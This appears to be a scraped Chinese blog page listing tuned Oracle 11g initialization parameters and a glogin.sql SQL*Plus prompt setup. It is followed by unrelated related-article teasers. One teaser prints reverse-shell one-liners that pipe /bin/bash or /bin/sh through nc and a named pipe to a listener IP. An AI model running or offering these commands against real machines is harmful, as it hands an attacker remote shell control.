audit_file_dest                                    *          /u01/app/oracle/admin/lucifer/adump                                              /u01/app/oracle/admin/lucifer/adump
audit_trail                                        *          NONE                                                                             DB
compatible                                         *          11.2.0.4.0                                                                       11.2.0.4.0
control_file_record_keep_time                      *          31                                                                               31
db_block_size                                      *          8192                                                                             8192
db_create_file_dest                                *          +DATA                                                                            +DATA
db_file_multiblock_read_count                      *                                                                                           128
db_files                                           *          5000                                                                             200
db_name                                            *          lucifer                                                                          lucifer
db_recovery_file_dest                              *          +DATA                                                                            +DATA
db_recovery_file_dest_size                         *          4857004032                                                                       4857004032
db_writer_processes                                *                                                                                           1
deferred_segment_creation                          *          FALSE                                                                            FALSE
diagnostic_dest                                    *          /u01/app/oracle                                                                  /u01/app/oracle
dispatchers                                        *          (PROTOCOL=TCP) (SERVICE=luciferXDB)                                              (PROTOCOL=TCP) (SERVICE=luciferXDB)
enable_ddl_logging                                 *          TRUE                                                                             FALSE
event                                              *          10949 trace name context forever,level 1
event                                              *          28401 trace name context forever,level 1
fast_start_parallel_rollback                       *                                                                                           LOW
log_archive_dest_1                                 *          location=+DATA                                                                   location=+DATA
log_archive_format                                 *          %t_%s_%r.dbf                                                                     %t_%s_%r.dbf
max_dump_file_size                                 *                                                                                           unlimited
open_cursors                                       *          1000                                                                             300
optimizer_index_caching                            *                                                                                           0
optimizer_mode                                     *                                                                                           ALL_ROWS
parallel_force_local                               *                                                                                           FALSE
parallel_max_servers                               *          64                                                                               64
pga_aggregate_target                               *          1120927744                                                                       700448768
processes                                          *          2000                                                                             150
remote_login_passwordfile                          *          EXCLUSIVE                                                                        EXCLUSIVE
resource_limit                                     *          TRUE                                                                             FALSE
resource_manager_plan                              *          force:
sec_case_sensitive_logon                           *          FALSE                                                                            TRUE
session_cached_cursors                             *          300                                                                              50
sessions                                           *                                                                                           248
sga_max_size                                       *          4485808128                                                                       2818572288
sga_target                                         *          4485808128                                                                       2818572288
spfile                                             *                                                                                           +DATA/lucifer/spfilelucifer.ora
statistics_level                                   *                                                                                           TYPICAL
undo_retention                                     *          10800                                                                            900#==============================================================#                                                                                  
配置 glogin.sql                                                                                     
#==============================================================#                                                                                  define _editor=vi
set serveroutput on size 1000000
set pagesize 9999
set long 99999
set trimspool on
col name format a80
set termout off
define gname=idle
column global_name new_value gname
select lower(user) || '@' || substr( global_name, 1, decode( dot, 0, length(global_name), dot-1) ) global_name from (select global_name, instr(global_name,'.') dot from global_name );
ALTER SESSION SET nls_date_format = 'YYYY-MM-DD HH24:MI:SS';
set sqlprompt '&gname _DATE> '
set termout on

http://www.mrgr.cn/p/38713251

相关文章

Hbase学习笔记

Hbase是什么 HBase是一个高可靠、高性能、面向列、可伸缩的分布式存储系统。它利用Hadoop HDFS作为其文件存储系统,并提供实时的读写的数据库系统。HBase的设计思想来源于Google的BigTable论文,是Apache的Hadoop项目的子项目。它适合于存储大表数据,并可以达到实时级别。HB…

深度神经网络(DNN)

通过5个条件判定一件事情是否会发生&#xff0c;5个条件对这件事情是否发生的影响力不同&#xff0c;计算每个条件对这件事情发生的影响力多大&#xff0c;写一个深度神经网络&#xff08;DNN&#xff09;模型程序,最后打印5个条件分别的影响力。 示例 在深度神经网络&#xf…

栈(Stack)的原理与代码实现

介绍栈的原理,并分别使用数组和链表实现栈的结构。栈(stack) 原理说明: ​ 学习数据结构的目的是为了更好的处理和存储数据,对于顺序表而言改查比较容易,增删比较麻烦,对于链式表而言,增删比较简单,改查比较麻烦,所以每种数据结构都有不同的特点,用户需要选择合适的…

eBay、亚马逊自养号测评如何避免风控账号关联选择合适网络IP环境

在自养号下单中选择适合的网络环境至关重要。经过多次实践与测试&#xff0c;积累了大量的经验&#xff0c;希望能够与大家分享&#xff0c;帮助大家避开陷阱&#xff0c;顺利前行。 市面上的网络环境种类繁多&#xff0c;从纯IP类的Luminati、Rola&#xff0c;到纯环境类的VM…

linux centos8 系统扩容 VMware Centos---VMware ESXi

linux 系统扩容 VMware Centos---VMware ESXi 用到的命令 df fdisk pvcreate pvdisplay vgdisplay vgextend lvdisplay lvextend resize2fs 01) 使用了一段时间虚拟机后发现磁盘不够用了,需要扩容。在客户端操作扩容出现磁盘已成功扩展。 您必须从客户机操作系…

使用 Redis 实现限流——滑动窗口算法

用 Go 语言实现滑动窗口限流算法,并利用 Redis 作为存储后端,可以按照以下步骤进行设计和编码。滑动窗口限流的核心思想是维护一个固定时间窗口,并在窗口内记录请求次数,当窗口滑动时,旧的请求计数被移除,新的请求计数被添加。这里以 Redis 的有序集合(Sorted Set,简称…

Tomcat调优总结(Tomcat自身优化、Linux内核优化、JVM优化)【转】

Tomcat自身的调优是针对conf/server.xml中的几个参数的调优设置。首先是对这几个参数的含义要有深刻而清楚的理解。以tomcat8.5为例,讲解参数。 同时也得认识到一点,tomcat调优也受制于linux内核。linux内核对tcp连接也有几个参数可以调优。 因此我们可以将tomcat调优分为lin…

提升工作效率必备,桌面待办事项提醒软件

在快节奏的现代社会,提升工作效率成为众多上班族的共同追求。有效的时间管理、合理的工作计划和正确的工具选择,是实现高效工作的三大关键。尤其是选择一款优秀的待办事项管理软件,能够极大地助力我们提升工作效率。 而我在网上找到了一款提升工作效率必备神器软件,它就是2…

S3-FIFO

S3-FIFO 本文作为下一篇缓存文章的预备知识。 背景 基于LRU和FIFO的驱逐 FIFO和LRU都是经典的缓存驱逐算法,在过去几十年中也出现了很多追求更高效率的驱逐算法,如ARC, 2Q, LIRS, TinyLFU。传统观点认为,基于LRU的缓冲未命中率要低于基于FIFO的算法,如CLOCK,这类高级算法通…

python读取yaml配置文件的方法

yaml简介1.yaml [ˈjməl]: Yet Another Markup Language :另一种标记语言。yaml 是专门用来写配置文件的语言,非常简洁和强大,之前用ini也能写配置文件,看了yaml后,发现这个更直观,更方便,有点类似于json格式 2.yaml基本语法规则: 大小写敏感 使用缩进表示层级关系 缩进…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

信号量(Semaphores)

信号量与pv操作信号量信号量(Semaphore)是一种比互斥锁更强大的同步工具,它可以提供更加高级的方法来同步并发进程。 A semaphore S is an integer variable that ,apart from initialization(初始化),is accessed only through two standard atomic operations:P VP:wait() …

对象和类

private关键字 构造方法 this关键字 局部变量: 方法体中的变量 成员变量: 类中定义的变量(属性) 输出时采用就近原则:即距离输出语句近的 想让他使用属性中同名的变量加上this关键字

nginx 配置 SSL 证书实现 https 访问

nginx 配置SSL证书实现https访问 1. SSL 证书简介与获取1.1 SSL 证书介绍1.2 获取 SSL 证书 2. nginx 配置 SSL 文件2.1 SSL 文件放置与配置文件修改2.1.1 文件配置2.1.2 强制 https 访问 2.2 验证配置结果 同步发布在个人笔记 nginx 配置 SSL 证书实现 https 访问 配置好 ngi…

GaussDB数据库SQL系列-聚合函数

背景 在这篇文章中&#xff0c;我们将深入探讨GaussDB数据库中聚合函数的使用和优化。聚合函数是数据库查询中非常重要的工具&#xff0c;它们可以对一组值执行计算并返回单个值。例如&#xff0c;聚合函数可以用来计算平均值、总和、最大值和最小值。 这些功能在数据分析和报…

Python 彩色字体输出

使用ANSI转译码给print添加颜色 公式 \033[显示方式;字体颜色;背景色m输出内容\033[0m公式参数解析\033 : ANSI转义序列开始标识 [ :控制码 用于控制字体方式、颜色、背景色(控制码对应参数值是唯一的 所以仅设置一个参数时 其他参数可以省略 不用空占用) m :控制…

数据库管理-第176期 浅析代码团队建设(20240425)

数据库管理176期 2024-04-25 数据库管理-第176期 浅析代码团队建设&#xff08;20240425&#xff09;1 国内现状2 需求管控3 竞争与迭代总结 数据库管理-第176期 浅析代码团队建设&#xff08;20240425&#xff09; 作者&#xff1a;胖头鱼的鱼缸&#xff08;尹海文&#xff09…

大数据真题讲解系列——拼多多数据分析面试题

拼多多数据分析面试题&#xff1a;连续3次为球队得分的球员名单 问题&#xff1a; 两支篮球队进行了激烈的比赛&#xff0c;比分交替上升。比赛结束后&#xff0c;你有一个两队分数的明细表&#xff08;名称为“分数表”&#xff09;。表中记录了球队、球员号码、球员姓名、得…

MySQL中实现支持Emoji表情存储

MySQL中实现支持Emoji表情的存储 要让MySQL支持Emoji,详细步骤: 步骤1:确认MySQL版本 确保您使用的MySQL版本至少为5.5.3,因为这是开始支持utf8mb4字符集的起始版本。如果您当前的版本低于此要求,您需要先升级MySQL到一个支持utf8mb4的较新版本。 步骤2:检查现有表结构 查…

凭证管理揭秘:Cookie-Session 与 JWT 方案的对决

在软件架构中,关于凭证如何存储和传递,一直有两种不同的解决思路,两种不同的解决方式,实际上反映了两种不同的架构思路概述 在上一篇文章我们聊完了授权的过程,在服务器对客户端完成授权之后,服务器会给客户端颁发对应的凭证,客户端持有该凭证访问服务端,服务器便能知道…